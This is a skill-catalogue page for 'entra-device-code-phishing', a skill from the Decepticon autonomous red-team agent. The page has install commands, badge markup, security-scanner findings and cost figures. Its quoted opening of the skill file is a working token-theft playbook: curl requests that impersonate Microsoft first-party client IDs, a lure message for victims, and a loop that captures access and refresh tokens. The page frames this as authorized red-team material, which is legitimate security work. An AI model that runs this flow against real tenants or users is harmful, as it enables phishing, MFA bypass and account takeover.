Decepticon is an autonomous red-team agent that coordinates AI agents, security tools, sandboxes, and supporting services for authorized cybersecurity assessments. Security researchers and red teams can run it through its Docker stack, cloud service, command-line interface, or Python SDK, with the catalogue entries representing its available skills.
Getting it into your agent
One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.
npx skills add PurpleAILAB/Decepticon --skill entra-device-code-phishinggit clone --depth 1 https://github.com/PurpleAILAB/DecepticonWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/purpleailab/decepticon/entra-device-code-phishing)<a href="https://agentmods.dev/skills/purpleailab/decepticon/entra-device-code-phishing"><img src="https://agentmods.dev/badge/skills/purpleailab/decepticon/entra-device-code-phishing/github.svg" alt="Measured on agentmods" height="20"></a>Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.
<a href="https://agentmods.dev/skills/purpleailab/decepticon/entra-device-code-phishing"><img src="https://agentmods.dev/badge/skills/purpleailab/decepticon/entra-device-code-phishing.svg" alt="Reviewed on agentmods" width="80" height="20"></a>- NVIDIA SkillSpector warn
SkillSpector: 6 findings, up to high
These are SkillSpector’s own severities. On a checked sample its high-severity flags on skills were ~96% false positives — a documented command, a public API, a “never do X” rule — so we show them as a caution to read, not a verdict. Why →
- high YARA Match · line 145 YARA rule matched a hack tool or exploit indicator (offensive tools, reconnaissance, privilege escalation, or exploit frameworks).Fix: Remove offensive tool references and exploit code. Legitimate agent skills should not contain penetration testing tools, exploit frameworks, or reconnaissance utilities.
- medium Excessive Agency · line 24 Skill enables autonomous high-impact decisions without human-in-the-loop verification. Critical operations (destructive commands, financial transactions, data deletion) should require explicit user confirmation.Fix: Add human-in-the-loop confirmation for destructive, irreversible, or high-impact operations. Never auto-execute commands that modify files, send data, or alter system state.
- medium Data Exfiltration · line 30 Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.Fix: Verify the destination URL is trusted and necessary. Remove or replace with documented APIs. Ensure no secrets, tokens, or PII are transmitted.
- medium Data Exfiltration · line 44 Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.Fix: Verify the destination URL is trusted and necessary. Remove or replace with documented APIs. Ensure no secrets, tokens, or PII are transmitted.
- medium Data Exfiltration · line 60 Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.Fix: Verify the destination URL is trusted and necessary. Remove or replace with documented APIs. Ensure no secrets, tokens, or PII are transmitted.
- medium Data Exfiltration · line 107 Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.Fix: Verify the destination URL is trusted and necessary. Remove or replace with documented APIs. Ensure no secrets, tokens, or PII are transmitted.
What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00044 | $0.02026 |
| Opus 5 | $0.00022 | $0.01013 |
| Sonnet 5 | $0.00009 | $0.00405 |
| Haiku 4.5 | $0.00004 | $0.00203 |
Grade A, and why
entra-device-code-phishing scanned grade A with 1 finding against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 9d ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Makes network callslowCapability
Not a fault in itself. Listed so you know the mod talks to something, and to what.
resp=$(curl -s -X POST "https://login.microsoftonline.com/${TENANT}/oauth2/v2.0/devicecode" \ How it starts
The opening of the file, as written. The whole thing — 148 lines — stays where its author put it; the contents beside it link to each section on GitHub.
Entra Device-Code & Illicit-Consent Phishing
Steal Entra ID tokens without ever owning the password. Two primary primitives:
- Device-code phishing — abuse the OAuth 2.0 device authorization grant: target enters YOUR code on the real MS login page.
- Illicit consent grant — register an app, get the user to consent to delegated Graph scopes.
Both bypass MFA-at-login (the user already MFAd against the real IdP) and produce tokens with broad scope.
Phase 1: Device-code flow
Request the device code
# Use a first-party client ID (impersonate a Microsoft app — no consent prompt).
# AzureCLI: 04b07795-8ddb-461a-bbee-02f9e1bf7b46
# Teams: 1fec8e78-bce4-4aaf-ab1b-5451cc387264
# Office: d3590ed6-52b3-4102-aeff-aad2292ab01c
CLIENT=04b07795-8ddb-461a-bbee-02f9e1bf7b46
TENANT=<TENANT> # or "common"
resp=$(curl -s -X POST "https://login.microsoftonline.com/${TENANT}/oauth2/v2.0/devicecode" \
-d "client_id=${CLIENT}&scope=https://graph.microsoft.com/.default offline_access openid profile")
echo "$resp" | jq .
DEV_CODE=$(echo "$resp" | jq -r .device_code)
USER_CODE=$(echo "$resp" | jq -r .user_code)
echo "Send target to: https://microsoft.com/devicelogin CODE: $USER_CODE"
Pretext delivery
Email / Teams message saying "To join the secure briefing, open microsoft.com/devicelogin and enter code <USER_CODE>. Code expires in 15 minutes." — the URL and brand are legitimate Microsoft, which makes it slip past most secure-email gateways.
Poll for the token
while :; do
r=$(curl -s -X POST "https://login.microsoftonline.com/${TENANT}/oauth2/v2.0/token" \
-d "grant_type=urn:ietf:params:oauth:grant-type:device_code&client_id=${CLIENT}&device_code=${DEV_CODE}")
err=$(echo "$r" | jq -r .error)
case "$err" in
authorization_pending) sleep 5 ;;
null) echo "$r" | jq . ; ACCESS=$(echo "$r" | jq -r .access_token); REFRESH=$(echo "$r" | jq -r .refresh_token); break ;;
*) echo "ERR: $err" ; break ;;
esac
done
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 9d ago First seen · 148 lines · 44 tokens per session scan A 11b6acb030a6
entra-device-code-phishing is a skill published in the GitHub repository PurpleAILAB/Decepticon (5,491 stars, last pushed 13d ago), licensed Apache-2.0. It adds 44 tokens to every session and 2,026 once invoked, about $0.0002 per session on Opus 5. A static security scan graded it A with 1 finding (makes network calls). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-09-03.
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